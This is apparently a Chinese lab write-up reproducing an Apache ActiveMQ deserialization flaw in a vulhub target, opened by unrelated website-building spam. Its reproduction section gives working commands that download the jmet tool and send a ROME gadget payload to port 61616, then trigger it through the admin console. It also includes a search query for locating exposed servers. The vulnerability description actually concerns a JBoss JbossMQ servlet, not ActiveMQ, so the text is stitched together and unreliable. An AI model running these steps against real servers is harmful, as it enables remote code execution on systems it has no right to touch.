上海团购网站建设,济南网站开发推广,沧州网站建设益志科技,厦门市建设区网站Nx01 产品简介 Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件。ActiveMQ是消息队列服务#xff0c;是面向消息中间件#xff08;MOM#xff09;的最终实现#xff0c;它为企业消息传递提供高可用、出色性能、可扩展、稳定和安全保障。
Nx02 漏洞描述 Re…Nx01 产品简介 Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件。ActiveMQ是消息队列服务是面向消息中间件MOM的最终实现它为企业消息传递提供高可用、出色性能、可扩展、稳定和安全保障。
Nx02 漏洞描述 Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
Nx03 产品主页
hunter-query: web.titleApache ActiveMQ Nx04 漏洞复现
1.vulhub启动靶场。 2.kali中执行以下命令。
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
mkdir external
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y touch /tmp/1 -Yp ROME 192.168.239.129 61616 3.此时会给目标ActiveMQ添加一个名为event的队列我们可以通过下面的URL看到这个队列中所有消息http://192.168.13.132:8161/admin/browse.jsp?JMSDestinationevent 4.点击此条队列详细进行触发。 5.查看容器sudo docker-compose exec activemq bash/tmp/1已成功创建成功。 Nx05 修复建议
Apache升级activemq5.13.0。
